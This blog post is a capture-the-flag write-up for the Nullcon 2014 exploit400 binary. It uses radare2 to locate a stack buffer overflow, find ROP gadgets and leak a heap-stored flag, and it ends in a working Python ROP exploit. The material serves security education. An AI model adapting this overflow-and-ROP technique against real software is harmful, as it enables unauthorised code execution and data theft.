Artificial truth

The more you see, the less you believe.

[archives] [latest] | [homepage] | [atom/rss]

Pwning exploit400 from the Nullcon 2014 CTF with radare2
Mon 31 August 2015 — download

Since I screwed a phone interview today, I'll write a blogpost about the second challenge from the (small) workshop that I held some time ago, instead of moping :)

The challenge is a binary from the CTF held during Nullcon 2014, namely exploit400.

$ r2 -A ./exploit400
 -- When you sold that exploit, what they really bought, was your silence.
[0x08048460]> i~nx
nx       true
[0x08048460]> i~pic
pic      false
[0x08048460]> i~canary
canary   false
[0x08048460]> i~format
format   elf
[0x08048460]>

An x86 binary, with the NX bit, lets disassemble it:

[0x08048514]> pdf @ main
 (fcn) sym.main 407
          ; var int local_3      @ ebp-0xc
          ; DATA XREF from 0x08048477 (sym.main)
          ;-- main:
          0x08048514    55             push ebp
          0x08048515    89e5           mov ebp, esp
          0x08048517    57             push edi
          0x08048518    56             push esi
          0x08048519    53             push ebx
          0x0804851a    83e4f0         and esp, 0xfffffff0
          0x0804851d    83ec70         sub esp, 0x70
          0x08048520    c70424400000.  mov dword [esp], 0x40
          0x08048527    e8c4feffff     call sym.imp.malloc
          0x0804852c    8944246c       mov dword [esp + 0x6c], eax
          0x08048530    837c246c00     cmp dword [esp + 0x6c], 0
      ┌─< 0x08048535    7548           jne 0x804857f
         0x08048537    a1f4990408     mov eax, dword [obj.malloc_error] ; str.Memory_allocation_failed__n LEA obj.malloc_error
         0x0804853c    c744241cffff.  mov dword [esp + 0x1c], 0xffffffff
         0x08048544    89c2           mov edx, eax
         0x08048546    b800000000     mov eax, 0
         0x0804854b    8b4c241c       mov ecx, dword [esp + 0x1c]
         0x0804854f    89d7           mov edi, edx
         0x08048551    f2ae           repne scasb al, byte es:[edi]
         0x08048553    89c8           mov eax, ecx
         0x08048555    f7d0           not eax
         0x08048557    8d50ff         lea edx, [eax - 1]
         0x0804855a    a1f4990408     mov eax, dword [obj.malloc_error] ; str.Memory_allocation_failed__n LEA obj.malloc_error
         0x0804855f    89542408       mov dword [esp + 8], edx
         0x08048563    89442404       mov dword [esp + 4], eax
         0x08048567    c70424010000.  mov dword [esp], 1
         0x0804856e    e8cdfeffff     call sym.imp.write
         0x08048573    c70424010000.  mov dword [esp], 1
         0x0804857a    e891feffff     call sym.imp.exit
         ; JMP XREF from 0x08048535 (sym.main)
      └─> 0x0804857f    c74424040000.  mov dword [esp + 4], 0
          0x08048587    c70424c78704.  mov dword [esp], str.._flag    ;  str.._flag ; "./flag" @ 0x80487c7
          0x0804858e    e88dfeffff     call sym.imp.open
          0x08048593    89442468       mov dword [esp + 0x68], eax
          0x08048597    837c246800     cmp dword [esp + 0x68], 0
     ┌──< 0x0804859c    7948           jns 0x80485e6
         0x0804859e    a1f8990408     mov eax, dword [obj.file_error] ; str.Opening_flag_failed__n
         0x080485a3    c744241cffff.  mov dword [esp + 0x1c], 0xffffffff
         0x080485ab    89c2           mov edx, eax
         0x080485ad    b800000000     mov eax, 0
         0x080485b2    8b4c241c       mov ecx, dword [esp + 0x1c]
         0x080485b6    89d7           mov edi, edx
         0x080485b8    f2ae           repne scasb al, byte es:[edi]
         0x080485ba    89c8           mov eax, ecx
         0x080485bc    f7d0           not eax
         0x080485be    8d50ff         lea edx, [eax - 1]
         0x080485c1    a1f8990408     mov eax, dword [obj.file_error] ; str.Opening_flag_failed__n
         0x080485c6    89542408       mov dword [esp + 8], edx
         0x080485ca    89442404       mov dword [esp + 4], eax
         0x080485ce    c70424010000.  mov dword [esp], 1
         0x080485d5    e866feffff     call sym.imp.write
         0x080485da    c70424010000.  mov dword [esp], 1
         0x080485e1    e82afeffff     call sym.imp.exit
         ; JMP XREF from 0x0804859c (sym.main)
     └──> 0x080485e6    e8f5fdffff     call sym.imp.getuid
          0x080485eb    89c6           mov esi, eax
          0x080485ed    e8eefdffff     call sym.imp.getuid
          0x080485f2    89c3           mov ebx, eax
          0x080485f4    e8e7fdffff     call sym.imp.getuid
          0x080485f9    89742408       mov dword [esp + 8], esi
          0x080485fd    895c2404       mov dword [esp + 4], ebx
          0x08048601    890424         mov dword [esp], eax
          0x08048604    e8b7fdffff     call sym.imp.setresuid
          0x08048609    85c0           test eax, eax
    ┌───< 0x0804860b    790c           jns 0x8048619
         0x0804860d    c70424010000.  mov dword [esp], 1
         0x08048614    e8f7fdffff     call sym.imp.exit
         ; JMP XREF from 0x0804860b (sym.main)
    └───> 0x08048619    c74424083f00.  mov dword [esp + 8], 0x3f
          0x08048621    8b44246c       mov eax, dword [esp + 0x6c]
          0x08048625    89442404       mov dword [esp + 4], eax
          0x08048629    8b442468       mov eax, dword [esp + 0x68]
          0x0804862d    890424         mov dword [esp], eax
          0x08048630    e89bfdffff     call sym.imp.read
          0x08048635    8b442468       mov eax, dword [esp + 0x68]
          0x08048639    890424         mov dword [esp], eax
          0x0804863c    e80ffeffff     call sym.imp.close
          0x08048641    a1fc990408     mov eax, dword [obj.pwn]       ; str.Good_Enough__Pwn_Me__n
          0x08048646    c744241cffff.  mov dword [esp + 0x1c], 0xffffffff
          0x0804864e    89c2           mov edx, eax
          0x08048650    b800000000     mov eax, 0
          0x08048655    8b4c241c       mov ecx, dword [esp + 0x1c]
          0x08048659    89d7           mov edi, edx
          0x0804865b    f2ae           repne scasb al, byte es:[edi]
          0x0804865d    89c8           mov eax, ecx
          0x0804865f    f7d0           not eax
          0x08048661    8d50ff         lea edx, [eax - 1]
          0x08048664    a1fc990408     mov eax, dword [obj.pwn]       ; str.Good_Enough__Pwn_Me__n
          0x08048669    89542408       mov dword [esp + 8], edx
          0x0804866d    89442404       mov dword [esp + 4], eax
          0x08048671    c70424010000.  mov dword [esp], 1
          0x08048678    e8c3fdffff     call sym.imp.write
          0x0804867d    c74424080008.  mov dword [esp + 8], 0x800
          0x08048685    8d442428       lea eax, [esp + 0x28]
          0x08048689    89442404       mov dword [esp + 4], eax
          0x0804868d    c70424000000.  mov dword [esp], 0
          0x08048694    e837fdffff     call sym.imp.read
          0x08048699    31c0           xor eax, eax
          0x0804869b    31db           xor ebx, ebx
          0x0804869d    31c9           xor ecx, ecx
          0x0804869f    31f6           xor esi, esi
          0x080486a1    31ff           xor edi, edi
          0x080486a3    8d65f4         lea esp, [ebp-local_3]
          0x080486a6    5b             pop ebx
          0x080486a7    5e             pop esi
          0x080486a8    5f             pop edi
          0x080486a9    5d             pop ebp
          0x080486aa    c3             ret
[0x08048514]>

So, the binary is:

  1. Allocating some space on the heap (offset 0x08048527).
  2. Opening a file called ./flag (offset 0x0804858e).
  3. Dropping its permissions (offset 0x08048604).
  4. Writing the content of the aforementioned file on the previously allocated space on the heap (offset 0x08048630).
  5. Closing the file descriptor (offset 0x0804863c).
  6. Writing a message to the user (offset 0x08048678).
  7. Reading some input on the stack, in a fixed-size buffer, with read (offset 0x08048694)

A classic stack-based buffer-overflow, the twist being that even if we drop a shell, we won't be able to read the file containing the flag; so all we have to do instead, is to read it directly from the heap!

How many bytes until we overwrite the return address?

$ ragg2 -P 128 -r
AAABAACAADAAEAAFAAGAAHAAIAAJAAKAALAAMAANAAOAAPAAQAARAASAATAAUAAVAAWAAZAAYAAZAAaAAbAAcAAdAAeAAfAAgAAhAAiAAjAAkAAlAAmAAnAAoAApAAqA%
$ r2 -d ./exploit400
Process with PID 22503 started...
Attached debugger to pid = 22503, tid = 22503
Debugging pid = 22503, tid = 22503 now
Using BADDR 0x8048000
Assuming filepath ./exploit400
bits 32
Attached debugger to pid = 22503, tid = 22503
[0xf76fba90]> dc
Good Enough? Pwn Me!
AAABAACAADAAEAAFAAGAAHAAIAAJAAKAALAAMAANAAOAAPAAQAARAASAATAAUAAVAAWAAZAAYAAZAAaAAbAAcAAdAAeAAfAAgAAhAAiAAjAAkAAlAAmAAnAAoAApAAqA%
[+] SIGNAL 11 errno=0 addr=0x41694141 code=1 ret=0
Debugging pid = 22503, tid = 1 now
[+] signal 11 aka SIGSEGV received 0
[0x41694141]> dr=
 eip 0x41694141    oeax 0xffffffff     eax 0x00000000     ebx 0x64414163
 ecx 0x00000000     edx 0x00000800     esp 0xffb952c0     ebp 0x68414167
 esi 0x41654141     edi 0x41416641     eflags = 1PZIV
[0x41694141]> woO eip
100
[0x41694141]>

How can we know at which address the flag is stored? Remember that system-wide ASLR not only randomize the stack position, but also the heap.

At first, I wanted to decrease esp until I could move it into some register, and output it with write, but I didn't manage to find the right gadget to do that.

So, instead, I'll call malloc to get an offset, add the right padding, then print the result with write. The ASLR only add a random offset at the beginning of the program, and it's not changing at runtime; this applies to the stack, but also the heap, at least on my machine, so I guess that it does the same on the remote one.

If we look carefully at the main function, we can see this gadget:

mov dword [esp + 8], edx  ; strlen
mov dword [esp + 4], eax  ; string to print
mov dword [esp], 1        ; file descriptor
call sym.imp.write

Despite not ending with a ret instruction, it's still a gadget ;) I'm wondering what is the value of edx at the end of the main function…

$ r2 -A -d ./exploit400
Process with PID 29591 started...
Attached debugger to pid = 29591, tid = 29591
Debugging pid = 29591, tid = 29591 now
Using BADDR 0x8048000
Assuming filepath ./exploit400
bits 32
Attached debugger to pid = 29591, tid = 29591
 -- Welcome to IDA 10.0.
[0x08048460]> afi main~size
 size: 407
[0xf7766a90]> db main + 406
[0xf77bfa90]> dc
Good Enough? Pwn Me!
POUET
hit breakpoint at: 80486aa
Debugging pid = 29874, tid = 1 now
[0x080486aa]> dr edx
0x00000800

It's non-null, and it's a reasonably big number: 0x800.

So, the plan is to:

  1. Call malloc to get an address from the heap.
  2. Subtract the right offset to make eax point to the beginning of our flag.
  3. Call our write gadget to get the flag.

The question being, how to compute the offset? I modified my work-in-progress exploit to output the payload on stdout instead of on a socket, and:

$ cat exploit.py
import struct

def rop(*args):
    return struct.pack('I'*len(args), *args)

mallocplt = 0x080483f0
popret = 0x080483a0

print('A' * 100 +
        rop(
            mallocplt,
            popret,
            1337,

            0xcccccccc,
        )
    )

$ python exploit.py > input
$ cat profile.r2
#!/usr/bin/rarun2
program=./exploit400
stdin=input
$ r2 -d ./exploit400 -e dbg.profile=./profile.r2
Process with PID 30395 started...
Attached debugger to pid = 30395, tid = 30395
Debugging pid = 30395, tid = 30395 now
Using BADDR 0x8048000
Assuming filepath ./exploit400
bits 32
Attached debugger to pid = 30395, tid = 30395
 -- Ask not what r2 can do for you - ask what you can do for r2
[0xf7760a90]> dc
Good Enough? Pwn Me!
[+] SIGNAL 11 errno=0 addr=0xcccccccc code=1 ret=0
Debugging pid = 30395, tid = 1 now
[+] signal 11 aka SIGSEGV received 0
[0xcccccccc]> dm
sys   4K 0x08048000 - 0x08049000 s -r-x /home/jvoisin/dev/r2/exploit/exploit400/exploit400
sys   4K 0x08049000 - 0x0804a000 s -rw- /home/jvoisin/dev/r2/exploit/exploit400/exploit400
sys 132K 0x09e02000 - 0x09e23000 s -rw- [heap]
sys   4K 0xf757b000 - 0xf757c000 s -rw- unk0
sys 1.7M 0xf757c000 - 0xf7730000 s -r-x /lib/i386-linux-gnu/libc-2.21.so
sys  12K 0xf7730000 - 0xf7733000 s -r-- /lib/i386-linux-gnu/libc-2.21.so
sys   8K 0xf7733000 - 0xf7735000 s -rw- /lib/i386-linux-gnu/libc-2.21.so
sys   8K 0xf7735000 - 0xf7737000 s -rw- unk1
sys   8K 0xf775b000 - 0xf775d000 s -rw- unk2
sys   8K 0xf775d000 - 0xf775f000 s -r-- [vvar]
sys   4K 0xf775f000 - 0xf7760000 s -r-x [vdso]
sys 136K 0xf7760000 - 0xf7782000 s -r-x /lib/i386-linux-gnu/ld-2.21.so
sys   4K 0xf7782000 - 0xf7783000 s -r-- /lib/i386-linux-gnu/ld-2.21.so
sys   4K 0xf7783000 - 0xf7784000 s -rw- /lib/i386-linux-gnu/ld-2.21.so
sys 132K 0xffd95000 - 0xffdb6000 s -rw- [stack]
[0xcccccccc]> e search.from = 0x09e02000
[0xcccccccc]> e search.to = 0x09e23000
[0xcccccccc]> / flag
Searching 4 bytes from 0x09e02000 to 0x09e23000: 66 6c 61 67
# 30395 [0x9e02000-0x9e23000]
hits: 1
0x09e02008 hit0_0 "flag"
[0xcccccccc]> dr eax
0x09e02050
[0xcccccccc]> ?v eax - hit0_0
0x48
[0xcccccccc]>

How do we subtract 0x48 from eax?

[0x08048460]> /R sub eax
[0x08048460]> /R sub al
  0x080486ed           2c24  sub al, 0x24
  0x080486ef       89442408  mov dword [esp + 8], eax
  0x080486f3       8b442434  mov eax, dword [esp + 0x34]
  0x080486f7       89442404  mov dword [esp + 4], eax
  0x080486fb ff94b320ffffff  call dword [ebx + esi*4 - 0xe0]

Err, this seems convoluted. I'm quite sure there are other instructions than sub to do a subtraction on x86.

$ git grep -c subtract libr/asm/d/x86
26
$ r2 ./ exploit400
 -- Microloft Visual Radare.NET 2008. Now OOXML Powered!
[0x08048460]> /R sbb eax
[0x08048460]> /R sbb al
  0x080486c1           1c8b  sbb al, 0x8b
  0x080486c3             6c  insb byte es:[edi], dx
  0x080486c4           2430  and al, 0x30
  0x080486c6   8dbb20ffffff  lea edi, [ebx - 0xe0]
  0x080486cc     e8a3fcffff  call 0x8048374

  0x0804870b           1c5b  sbb al, 0x5b
  0x0804870d             5e  pop esi
  0x0804870e             5f  pop edi
  0x0804870f             5d  pop ebp
  0x08048710             c3  ret

  0x08048723           1c24  sbb al, 0x24
  0x08048725             c3  ret

[0x08048460]> 

Marvellous, two times 0x24 equals 0x48!

So, we've got almost everything we need, except the address of malloc in the PLT, and a pop ret gadget, lets fix this:

[0x08048460]> ?v sym.imp.malloc  # malloc@plt
0x80483f0
[0x08048460]> e rop.len =2
[0x08048460]> /Rl pop
0x080483a0: pop ebx; ret;
0x080484e3: pop ebp; ret;
0x080486a9: pop ebp; ret;
0x0804870f: pop ebp; ret;
0x08048758: pop ebp; ret;
0x08048774: pop ebx; ret;
[0x08048460]>

We now have everything required to write a working exploit:

import socket
import struct

def rop(*args):
    return struct.pack('I'*len(args), *args)

mallocplt = 0x080483f0
popret = 0x08048774
subal24 = 0x08048723
print_flag = 0x08048669

s = socket.create_connection(('127.0.0.1', 4444))

payload = 'A' * 100

payload += rop(
        mallocplt,
        popret,
        1337,

        subal24,
        subal24,

        print_flag,
        )


s.recv(1024)
s.send(payload)
print s.recv(1024)